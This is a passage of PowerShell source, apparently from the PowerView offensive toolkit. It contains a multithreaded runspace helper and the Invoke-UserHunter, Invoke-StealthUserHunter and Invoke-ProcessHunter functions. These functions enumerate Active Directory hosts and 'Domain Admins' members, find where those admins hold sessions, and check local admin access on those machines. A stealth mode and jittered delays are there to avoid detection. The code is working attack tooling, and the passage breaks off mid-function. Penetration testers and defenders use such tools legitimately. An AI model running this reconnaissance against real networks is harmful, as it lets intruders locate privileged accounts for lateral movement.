9231 if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile}
9232 else {$_}
9233 }
9234 }
9235
9236 end {
9237 if($UsePSDrive -and $RandDrive) {
9238 Write-Verbose "Removing temp PSDrive $RandDrive"
9239 Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
9240 }
9241 }
9242}
9243
9244
9245########################################################
9246#
9247# 'Meta'-functions start below
9248#
9249########################################################
9250
9251function Invoke-ThreadedFunction {
9252 # Helper used by any threaded host enumeration functions
9253 [CmdletBinding()]
9254 param(
9255 [Parameter(Position=0,Mandatory=$True)]
9256 [String[]]
9257 $ComputerName,
9258
9259 [Parameter(Position=1,Mandatory=$True)]
9260 [System.Management.Automation.ScriptBlock]
9261 $ScriptBlock,
9262
9263 [Parameter(Position=2)]
9264 [Hashtable]
9265 $ScriptParameters,
9266
9267 [Int]
9268 [ValidateRange(1,100)]
9269 $Threads = 20,
9270
9271 [Switch]
9272 $NoImports
9273 )
9274
9275 begin {
9276
9277 if ($PSBoundParameters['Debug']) {
9278 $DebugPreference = 'Continue'
9279 }
9280
9281 Write-Verbose "[*] Total number of hosts: $($ComputerName.count)"
9282
9283 # Adapted from:
9284 # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
9285 $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
9286 $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
9287
9288 # import the current session state's variables and functions so the chained PowerView
9289 # functionality can be used by the threaded blocks
9290 if(!$NoImports) {
9291
9292 # grab all the current variables for this runspace
9293 $MyVars = Get-Variable -Scope 2
9294
9295 # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
9296 $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true")
9297
9298 # Add Variables from Parent Scope (current runspace) into the InitialSessionState
9299 ForEach($Var in $MyVars) {
9300 if($VorbiddenVars -NotContains $Var.Name) {
9301 $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
9302 }
9303 }
9304
9305 # Add Functions from current runspace to the InitialSessionState
9306 ForEach($Function in (Get-ChildItem Function:)) {
9307 $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
9308 }
9309 }
9310
9311 # threading adapted from
9312 # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
9313 # Thanks Carlos!
9314
9315 # create a pool of maxThread runspaces
9316 $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
9317 $Pool.Open()
9318
9319 $method = $null
9320 ForEach ($m in [PowerShell].GetMethods() | Where-Object { $_.Name -eq "BeginInvoke" }) {
9321 $methodParameters = $m.GetParameters()
9322 if (($methodParameters.Count -eq 2) -and $methodParameters[0].Name -eq "input" -and $methodParameters[1].Name -eq "output") {
9323 $method = $m.MakeGenericMethod([Object], [Object])
9324 break
9325 }
9326 }
9327
9328 $Jobs = @()
9329 }
9330
9331 process {
9332
9333 ForEach ($Computer in $ComputerName) {
9334
9335 # make sure we get a server name
9336 if ($Computer -ne '') {
9337 # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))"
9338
9339 While ($($Pool.GetAvailableRunspaces()) -le 0) {
9340 Start-Sleep -MilliSeconds 500
9341 }
9342
9343 # create a "powershell pipeline runner"
9344 $p = [powershell]::create()
9345
9346 $p.runspacepool = $Pool
9347
9348 # add the script block + arguments
9349 $Null = $p.AddScript($ScriptBlock).AddParameter('ComputerName', $Computer)
9350 if($ScriptParameters) {
9351 ForEach ($Param in $ScriptParameters.GetEnumerator()) {
9352 $Null = $p.AddParameter($Param.Name, $Param.Value)
9353 }
9354 }
9355
9356 $o = New-Object Management.Automation.PSDataCollection[Object]
9357
9358 $Jobs += @{
9359 PS = $p
9360 Output = $o
9361 Result = $method.Invoke($p, @($null, [Management.Automation.PSDataCollection[Object]]$o))
9362 }
9363 }
9364 }
9365 }
9366
9367 end {
9368 Write-Verbose "Waiting for threads to finish..."
9369
9370 Do {
9371 ForEach ($Job in $Jobs) {
9372 $Job.Output.ReadAll()
9373 }
9374 } While (($Jobs | Where-Object { ! $_.Result.IsCompleted }).Count -gt 0)
9375
9376 ForEach ($Job in $Jobs) {
9377 $Job.PS.Dispose()
9378 }
9379
9380 $Pool.Dispose()
9381 Write-Verbose "All threads completed!"
9382 }
9383}
9384
9385
9386function Invoke-UserHunter {
9387<#
9388 .SYNOPSIS
9389
9390 Finds which machines users of a specified group are logged into.
9391
9392 Author: @harmj0y
9393 License: BSD 3-Clause
9394
9395 .DESCRIPTION
9396
9397 This function finds the local domain name for a host using Get-NetDomain,
9398 queries the domain for users of a specified group (default "domain admins")
9399 with Get-NetGroupMember or reads in a target user list, queries the domain for all
9400 active machines with Get-NetComputer or reads in a pre-populated host list,
9401 randomly shuffles the target list, then for each server it gets a list of
9402 active users with Get-NetSession/Get-NetLoggedon. The found user list is compared
9403 against the target list, and a status message is displayed for any hits.
9404 The flag -CheckAccess will check each positive host to see if the current
9405 user has local admin access to the machine.
9406
9407 .PARAMETER ComputerName
9408
9409 Host array to enumerate, passable on the pipeline.
9410
9411 .PARAMETER ComputerFile
9412
9413 File of hostnames/IPs to search.
9414
9415 .PARAMETER ComputerFilter
9416
9417 Host filter name to query AD for, wildcards accepted.
9418
9419 .PARAMETER ComputerADSpath
9420
9421 The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
9422 Useful for OU queries.
9423
9424 .PARAMETER Unconstrained
9425
9426 Switch. Only enumerate computers that have unconstrained delegation.
9427
9428 .PARAMETER GroupName
9429
9430 Group name to query for target users.
9431
9432 .PARAMETER TargetServer
9433
9434 Hunt for users who are effective local admins on a target server.
9435
9436 .PARAMETER UserName
9437
9438 Specific username to search for.
9439
9440 .PARAMETER UserFilter
9441
9442 A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"
9443
9444 .PARAMETER UserADSpath
9445
9446 The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
9447 Useful for OU queries.
9448
9449 .PARAMETER UserFile
9450
9451 File of usernames to search for.
9452
9453 .PARAMETER AdminCount
9454
9455 Switch. Hunt for users with adminCount=1.
9456
9457 .PARAMETER AllowDelegation
9458
9459 Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
9460
9461 .PARAMETER StopOnSuccess
9462
9463 Switch. Stop hunting after finding after finding a target user.
9464
9465 .PARAMETER NoPing
9466
9467 Don't ping each host to ensure it's up before enumerating.
9468
9469 .PARAMETER CheckAccess
9470
9471 Switch. Check if the current user has local admin access to found machines.
9472
9473 .PARAMETER Delay
9474
9475 Delay between enumerating hosts, defaults to 0
9476
9477 .PARAMETER Jitter
9478
9479 Jitter for the host delay, defaults to +/- 0.3
9480
9481 .PARAMETER Domain
9482
9483 Domain for query for machines, defaults to the current domain.
9484
9485 .PARAMETER DomainController
9486
9487 Domain controller to reflect LDAP queries through.
9488
9489 .PARAMETER ShowAll
9490
9491 Switch. Return all user location results, i.e. Invoke-UserView functionality.
9492
9493 .PARAMETER SearchForest
9494
9495 Switch. Search all domains in the forest for target users instead of just
9496 a single domain.
9497
9498 .PARAMETER Stealth
9499
9500 Switch. Only enumerate sessions from connonly used target servers.
9501
9502 .PARAMETER StealthSource
9503
9504 The source of target servers to use, 'DFS' (distributed file servers),
9505 'DC' (domain controllers), 'File' (file servers), or 'All'
9506
9507 .PARAMETER ForeignUsers
9508
9509 Switch. Only return results that are not part of searched domain.
9510
9511 .PARAMETER Threads
9512
9513 The maximum concurrent threads to execute.
9514
9515 .PARAMETER Poll
9516
9517 Continuously poll for sessions for the given duration. Automatically
9518 sets Threads to the number of computers being polled.
9519
9520 .EXAMPLE
9521
9522 PS C:\> Invoke-UserHunter -CheckAccess
9523
9524 Finds machines on the local domain where domain admins are logged into
9525 and checks if the current user has local administrator access.
9526
9527 .EXAMPLE
9528
9529 PS C:\> Invoke-UserHunter -Domain 'testing'
9530
9531 Finds machines on the 'testing' domain where domain admins are logged into.
9532
9533 .EXAMPLE
9534
9535 PS C:\> Invoke-UserHunter -Threads 20
9536
9537 Multi-threaded user hunting, replaces Invoke-UserHunterThreaded.
9538
9539 .EXAMPLE
9540
9541 PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt
9542
9543 Finds machines in hosts.txt where any members of users.txt are logged in
9544 or have sessions.
9545
9546 .EXAMPLE
9547
9548 PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60
9549
9550 Find machines on the domain where members of the "Power Users" groups are
9551 logged into with a 60 second (+/- *.3) randomized delay between
9552 touching each host.
9553
9554 .EXAMPLE
9555
9556 PS C:\> Invoke-UserHunter -TargetServer FILESERVER
9557
9558 Query FILESERVER for useres who are effective local administrators using
9559 Get-NetLocalGroup -Recurse, and hunt for that user set on the network.
9560
9561 .EXAMPLE
9562
9563 PS C:\> Invoke-UserHunter -SearchForest
9564
9565 Find all machines in the current forest where domain admins are logged in.
9566
9567 .EXAMPLE
9568
9569 PS C:\> Invoke-UserHunter -Stealth
9570
9571 Executes old Invoke-StealthUserHunter functionality, enumerating commonly
9572 used servers and checking just sessions for each.
9573
9574 .EXAMPLE
9575
9576 PS C:\> Invoke-UserHunter -Stealth -StealthSource DC -Poll 3600 -Delay 5 -ShowAll | ? { ! $_.UserName.EndsWith('$') }
9577
9578 Poll Domain Controllers in parallel for sessions for an hour, waiting five
9579 seconds before querying each DC again and filtering out computer accounts.
9580
9581 .LINK
9582 http://blog.harmj0y.net
9583#>
9584
9585 [CmdletBinding()]
9586 param(
9587 [Parameter(Position=0,ValueFromPipeline=$True)]
9588 [Alias('Hosts')]
9589 [String[]]
9590 $ComputerName,
9591
9592 [ValidateScript({Test-Path -Path $_ })]
9593 [Alias('HostList')]
9594 [String]
9595 $ComputerFile,
9596
9597 [String]
9598 $ComputerFilter,
9599
9600 [String]
9601 $ComputerADSpath,
9602
9603 [Switch]
9604 $Unconstrained,
9605
9606 [String]
9607 $GroupName = 'Domain Admins',
9608
9609 [String]
9610 $TargetServer,
9611
9612 [String]
9613 $UserName,
9614
9615 [String]
9616 $UserFilter,
9617
9618 [String]
9619 $UserADSpath,
9620
9621 [ValidateScript({Test-Path -Path $_ })]
9622 [String]
9623 $UserFile,
9624
9625 [Switch]
9626 $AdminCount,
9627
9628 [Switch]
9629 $AllowDelegation,
9630
9631 [Switch]
9632 $CheckAccess,
9633
9634 [Switch]
9635 $StopOnSuccess,
9636
9637 [Switch]
9638 $NoPing,
9639
9640 [UInt32]
9641 $Delay = 0,
9642
9643 [Double]
9644 $Jitter = .3,
9645
9646 [String]
9647 $Domain,
9648
9649 [String]
9650 $DomainController,
9651
9652 [Switch]
9653 $ShowAll,
9654
9655 [Switch]
9656 $SearchForest,
9657
9658 [Switch]
9659 $Stealth,
9660
9661 [String]
9662 [ValidateSet("DFS","DC","File","All")]
9663 $StealthSource ="All",
9664
9665 [Switch]
9666 $ForeignUsers,
9667
9668 [Int]
9669 [ValidateRange(1,100)]
9670 $Threads,
9671
9672 [UInt32]
9673 $Poll = 0
9674 )
9675
9676 begin {
9677
9678 if ($PSBoundParameters['Debug']) {
9679 $DebugPreference = 'Continue'
9680 }
9681
9682 Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay"
9683
9684 #####################################################
9685 #
9686 # First we build the host target set
9687 #
9688 #####################################################
9689
9690 if($ComputerFile) {
9691 # if we're using a host list, read the targets in and add them to the target list
9692 $ComputerName = Get-Content -Path $ComputerFile
9693 }
9694
9695 if(!$ComputerName) {
9696 [Array]$ComputerName = @()
9697
9698 if($Domain) {
9699 $TargetDomains = @($Domain)
9700 }
9701 elseif($SearchForest) {
9702 # get ALL the domains in the forest to search
9703 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
9704 }
9705 else {
9706 # use the local domain
9707 $TargetDomains = @( (Get-NetDomain).name )
9708 }
9709
9710 if($Stealth) {
9711 Write-Verbose "Stealth mode! Enumerating commonly used servers"
9712 Write-Verbose "Stealth source: $StealthSource"
9713
9714 ForEach ($Domain in $TargetDomains) {
9715 if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) {
9716 Write-Verbose "[*] Querying domain $Domain for File Servers..."
9717 $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController
9718 }
9719 if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) {
9720 Write-Verbose "[*] Querying domain $Domain for DFS Servers..."
9721 $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName}
9722 }
9723 if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) {
9724 Write-Verbose "[*] Querying domain $Domain for Domain Controllers..."
9725 $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname}
9726 }
9727 }
9728 }
9729 else {
9730 ForEach ($Domain in $TargetDomains) {
9731 Write-Verbose "[*] Querying domain $Domain for hosts"
9732
9733 $Arguments = @{
9734 'Domain' = $Domain
9735 'DomainController' = $DomainController
9736 'ADSpath' = $ADSpath
9737 'Filter' = $ComputerFilter
9738 'Unconstrained' = $Unconstrained
9739 }
9740
9741 $ComputerName += Get-NetComputer @Arguments
9742 }
9743 }
9744
9745 # remove any null target hosts, uniquify the list and shuffle it
9746 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
9747 if($($ComputerName.Count) -eq 0) {
9748 throw "No hosts found!"
9749 }
9750 }
9751
9752 if ($Poll -gt 0) {
9753 Write-Verbose "[*] Polling for $Poll seconds. Automatically enabling threaded mode."
9754 if ($ComputerName.Count -gt 100) {
9755 throw "Too many hosts to poll! Try fewer than 100."
9756 }
9757 $Threads = $ComputerName.Count
9758 }
9759
9760 #####################################################
9761 #
9762 # Now we build the user target set
9763 #
9764 #####################################################
9765
9766 # users we're going to be searching for
9767 $TargetUsers = @()
9768
9769 # get the current user so we can ignore it in the results
9770 $CurrentUser = ([Environment]::UserName).toLower()
9771
9772 # if we're showing all results, skip username enumeration
9773 if($ShowAll -or $ForeignUsers) {
9774 $User = New-Object PSObject
9775 $User | Add-Member Noteproperty 'MemberDomain' $Null
9776 $User | Add-Member Noteproperty 'MemberName' '*'
9777 $TargetUsers = @($User)
9778
9779 if($ForeignUsers) {
9780 # if we're searching for user results not in the primary domain
9781 $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4
9782 $DomainShortName = $krbtgtName.split("\")[0]
9783 }
9784 }
9785 # if we want to hunt for the effective domain users who can access a target server
9786 elseif($TargetServer) {
9787 Write-Verbose "Querying target server '$TargetServer' for local users"
9788 $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
9789 $User = New-Object PSObject
9790 $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower()
9791 $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower()
9792 $User
9793 } | Where-Object {$_}
9794 }
9795 # if we get a specific username, only use that
9796 elseif($UserName) {
9797 Write-Verbose "[*] Using target user '$UserName'..."
9798 $User = New-Object PSObject
9799 if($TargetDomains) {
9800 $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]
9801 }
9802 else {
9803 $User | Add-Member Noteproperty 'MemberDomain' $Null
9804 }
9805 $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower()
9806 $TargetUsers = @($User)
9807 }
9808 # read in a target user list if we have one
9809 elseif($UserFile) {
9810 $TargetUsers = Get-Content -Path $UserFile | ForEach-Object {
9811 $User = New-Object PSObject
9812 if($TargetDomains) {
9813 $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]
9814 }
9815 else {
9816 $User | Add-Member Noteproperty 'MemberDomain' $Null
9817 }
9818 $User | Add-Member Noteproperty 'MemberName' $_
9819 $User
9820 } | Where-Object {$_}
9821 }
9822 elseif($UserADSpath -or $UserFilter -or $AdminCount) {
9823 ForEach ($Domain in $TargetDomains) {
9824
9825 $Arguments = @{
9826 'Domain' = $Domain
9827 'DomainController' = $DomainController
9828 'ADSpath' = $UserADSpath
9829 'Filter' = $UserFilter
9830 'AdminCount' = $AdminCount
9831 'AllowDelegation' = $AllowDelegation
9832 }
9833
9834 Write-Verbose "[*] Querying domain $Domain for users"
9835 $TargetUsers += Get-NetUser @Arguments | ForEach-Object {
9836 $User = New-Object PSObject
9837 $User | Add-Member Noteproperty 'MemberDomain' $Domain
9838 $User | Add-Member Noteproperty 'MemberName' $_.samaccountname
9839 $User
9840 } | Where-Object {$_}
9841
9842 }
9843 }
9844 else {
9845 ForEach ($Domain in $TargetDomains) {
9846 Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
9847 $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController
9848 }
9849 }
9850
9851 if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
9852 throw "[!] No users found to search for!"
9853 }
9854
9855 # script block that enumerates a server
9856 $HostEnumBlock = {
9857 param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, $Poll, $Delay, $Jitter)
9858
9859 # optionally check if the server is up first
9860 $Up = $True
9861 if($Ping) {
9862 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
9863 }
9864 if($Up) {
9865 $Timer = [System.Diagnostics.Stopwatch]::StartNew()
9866 $RandNo = New-Object System.Random
9867
9868 Do {
9869 if(!$DomainShortName) {
9870 # if we're not searching for foreign users, check session information
9871 $Sessions = Get-NetSession -ComputerName $ComputerName
9872 ForEach ($Session in $Sessions) {
9873 $UserName = $Session.sesi10_username
9874 $CName = $Session.sesi10_cname
9875
9876 if($CName -and $CName.StartsWith("\\")) {
9877 $CName = $CName.TrimStart("\")
9878 }
9879
9880 # make sure we have a result
9881 if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) {
9882
9883 $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {
9884
9885 $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
9886 $FoundUser = New-Object PSObject
9887 $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain
9888 $FoundUser | Add-Member Noteproperty 'UserName' $UserName
9889 $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
9890 $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
9891 $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName
9892
9893 # Try to resolve the DNS hostname of $Cname
9894 try {
9895 $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
9896 $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
9897 }
9898 catch {
9899 $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null
9900 }
9901
9902 # see if we're checking to see if we have local admin access on this machine
9903 if ($CheckAccess) {
9904 $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName
9905 $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
9906 }
9907 else {
9908 $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
9909 }
9910 $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
9911 $FoundUser
9912 }
9913 }
9914 }
9915 }
9916 if(!$Stealth) {
9917 # if we're not 'stealthy', enumerate loggedon users as well
9918 $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName
9919 ForEach ($User in $LoggedOn) {
9920 $UserName = $User.wkui1_username
9921 # TODO: translate domain to authoratative name
9922 # then match domain name ?
9923 $UserDomain = $User.wkui1_logon_domain
9924
9925 # make sure wet have a result
9926 if (($UserName) -and ($UserName.trim() -ne '')) {
9927
9928 $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {
9929
9930 $Proceed = $True
9931 if($DomainShortName) {
9932 if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) {
9933 $Proceed = $True
9934 }
9935 else {
9936 $Proceed = $False
9937 }
9938 }
9939 if($Proceed) {
9940 $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
9941 $FoundUser = New-Object PSObject
9942 $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain
9943 $FoundUser | Add-Member Noteproperty 'UserName' $UserName
9944 $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
9945 $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
9946 $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null
9947 $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null
9948
9949 # see if we're checking to see if we have local admin access on this machine
9950 if ($CheckAccess) {
9951 $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName
9952 $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
9953 }
9954 else {
9955 $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
9956 }
9957 $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
9958 $FoundUser
9959 }
9960 }
9961 }
9962 }
9963 }
9964
9965 if ($Poll -gt 0) {
9966 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
9967 }
9968 } While ($Poll -gt 0 -and $Timer.Elapsed.TotalSeconds -lt $Poll)
9969 }
9970 }
9971 }
9972
9973 process {
9974
9975 if($Threads) {
9976 Write-Verbose "Using threading with threads = $Threads"
9977
9978 # if we're using threading, kick off the script block with Invoke-ThreadedFunction
9979 $ScriptParams = @{
9980 'Ping' = $(-not $NoPing)
9981 'TargetUsers' = $TargetUsers
9982 'CurrentUser' = $CurrentUser
9983 'Stealth' = $Stealth
9984 'DomainShortName' = $DomainShortName
9985 'Poll' = $Poll
9986 'Delay' = $Delay
9987 'Jitter' = $Jitter
9988 }
9989
9990 # kick off the threaded script block + arguments
9991 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
9992 }
9993
9994 else {
9995 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
9996 # ping all hosts in parallel
9997 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
9998 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
9999 }
10000
10001 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
10002 $Counter = 0
10003 $RandNo = New-Object System.Random
10004
10005 ForEach ($Computer in $ComputerName) {
10006
10007 $Counter = $Counter + 1
10008
10009 # sleep for our semi-randomized interval
10010 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
10011
10012 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
10013 $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, 0, 0, 0
10014 $Result
10015
10016 if($Result -and $StopOnSuccess) {
10017 Write-Verbose "[*] Target user found, returning early"
10018 return
10019 }
10020 }
10021 }
10022
10023 }
10024}
10025
10026
10027function Invoke-StealthUserHunter {
10028 [CmdletBinding()]
10029 param(
10030 [Parameter(Position=0,ValueFromPipeline=$True)]
10031 [Alias('Hosts')]
10032 [String[]]
10033 $ComputerName,
10034
10035 [ValidateScript({Test-Path -Path $_ })]
10036 [Alias('HostList')]
10037 [String]
10038 $ComputerFile,
10039
10040 [String]
10041 $ComputerFilter,
10042
10043 [String]
10044 $ComputerADSpath,
10045
10046 [String]
10047 $GroupName = 'Domain Admins',
10048
10049 [String]
10050 $TargetServer,
10051
10052 [String]
10053 $UserName,
10054
10055 [String]
10056 $UserFilter,
10057
10058 [String]
10059 $UserADSpath,
10060
10061 [ValidateScript({Test-Path -Path $_ })]
10062 [String]
10063 $UserFile,
10064
10065 [Switch]
10066 $CheckAccess,
10067
10068 [Switch]
10069 $StopOnSuccess,
10070
10071 [Switch]
10072 $NoPing,
10073
10074 [UInt32]
10075 $Delay = 0,
10076
10077 [Double]
10078 $Jitter = .3,
10079
10080 [String]
10081 $Domain,
10082
10083 [Switch]
10084 $ShowAll,
10085
10086 [Switch]
10087 $SearchForest,
10088
10089 [String]
10090 [ValidateSet("DFS","DC","File","All")]
10091 $StealthSource ="All"
10092 )
10093 # kick off Invoke-UserHunter with stealth options
10094 Invoke-UserHunter -Stealth @PSBoundParameters
10095}
10096
10097
10098function Invoke-ProcessHunter {
10099<#
10100 .SYNOPSIS
10101
10102 Query the process lists of remote machines, searching for
10103 processes with a specific name or owned by a specific user.
10104 Thanks to @paulbrandau for the approach idea.
10105
10106 Author: @harmj0y
10107 License: BSD 3-Clause
10108
10109 .PARAMETER ComputerName
10110
10111 Host array to enumerate, passable on the pipeline.
10112
10113 .PARAMETER ComputerFile
10114
10115 File of hostnames/IPs to search.
10116
10117 .PARAMETER ComputerFilter
10118
10119 Host filter name to query AD for, wildcards accepted.
10120
10121 .PARAMETER ComputerADSpath
10122
10123 The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
10124 Useful for OU queries.
10125
10126 .PARAMETER ProcessName
10127
10128 The name of the process to hunt, or a comma separated list of names.
10129
10130 .PARAMETER GroupName
10131
10132 Group name to query for target users.
10133
10134 .PARAMETER TargetServer
10135
10136 Hunt for users who are effective local admins on a target server.
10137
10138 .PARAMETER UserName
10139
10140 Specific username to search for.
10141
10142 .PARAMETER UserFilter
10143
10144 A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"
10145
10146 .PARAMETER UserADSpath
10147
10148 The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
10149 Useful for OU queries.
10150
10151 .PARAMETER UserFile
10152
10153 File of usernames to search for.
10154
10155 .PARAMETER StopOnSuccess
10156
10157 Switch. Stop hunting after finding after finding a target user/process.
10158
10159 .PARAMETER NoPing
10160
10161 Switch. Don't ping each host to ensure it's up before enumerating.
10162
10163 .PARAMETER Delay
10164
10165 Delay between enumerating hosts, defaults to 0
10166
10167 .PARAMETER Jitter
10168
10169 Jitter for the host delay, defaults to +/- 0.3
10170
10171 .PARAMETER Domain
10172
10173 Domain for query for machines, defaults to the current domain.
10174
10175 .PARAMETER DomainController
10176
10177 Domain controller to reflect LDAP queries through.
10178
10179 .PARAMETER ShowAll
10180
10181 Switch. Return all user location results.
10182
10183 .PARAMETER SearchForest
10184
10185 Switch. Search all domains in the forest for target users instead of just
10186 a single domain.
10187
10188 .PARAMETER Threads
10189
10190 The maximum concurrent threads to execute.
10191
10192 .PARAMETER Credential
10193
10194 A [Management.Automation.PSCredential] object of alternate credentials
10195 for connection to the target machine/domain.
10196
10197 .EXAMPLE
10198
10199 PS C:\> Invoke-ProcessHunter -Domain 'testing'
10200
10201 Finds machines on the 'testing' domain where domain admins have a
10202 running process.
10203
10204 .EXAMPLE
10205
10206 PS C:\> Invoke-ProcessHunter -Threads 20
10207
10208 Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded.
10209
10210 .EXAMPLE
10211
10212 PS C:\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt
10213
10214 Finds machines in hosts.txt where any members of users.txt have running
10215 processes.
10216
10217 .EXAMPLE
10218
10219 PS C:\> Invoke-ProcessHunter -GroupName "Power Users" -Delay 60
10220
10221 Find machines on the domain where members of the "Power Users" groups have
10222 running processes with a 60 second (+/- *.3) randomized delay between
10223 touching each host.
10224
10225 .LINK
10226
10227 http://blog.harmj0y.net
10228#>
10229
10230 [CmdletBinding()]
10231 param(
10232 [Parameter(Position=0,ValueFromPipeline=$True)]
10233 [Alias('Hosts')]
10234 [String[]]
10235 $ComputerName,
10236
10237 [ValidateScript({Test-Path -Path $_ })]
10238 [Alias('HostList')]
10239 [String]
10240 $ComputerFile,
10241
10242 [String]
10243 $ComputerFilter,
10244
10245 [String]
10246 $ComputerADSpath,
10247
10248 [String]
10249 $ProcessName,
10250
10251 [String]
10252 $GroupName = 'Domain Admins',
10253
10254 [String]
10255 $TargetServer,
10256
10257 [String]
10258 $UserName,
10259
10260 [String]
10261 $UserFilter,
10262
10263 [String]
10264 $UserADSpath,
10265
10266 [ValidateScript({Test-Path -Path $_ })]
10267 [String]
10268 $UserFile,
10269
10270 [Switch]
10271 $StopOnSuccess,
10272
10273 [Switch]
10274 $NoPing,
10275
10276 [UInt32]
10277 $Delay = 0,
10278
10279 [Double]
10280 $Jitter = .3,
10281
10282 [String]
10283 $Domain,
10284
10285 [String]
10286 $DomainController,
10287
10288 [Switch]
10289 $ShowAll,
10290
10291 [Switch]
10292 $SearchForest,
10293
10294 [ValidateRange(1,100)]
10295 [Int]
10296 $Threads,
10297
10298 [Management.Automation.PSCredential]
10299 $Credential
10300 )
10301
10302 begin {
10303
10304 if ($PSBoundParameters['Debug']) {
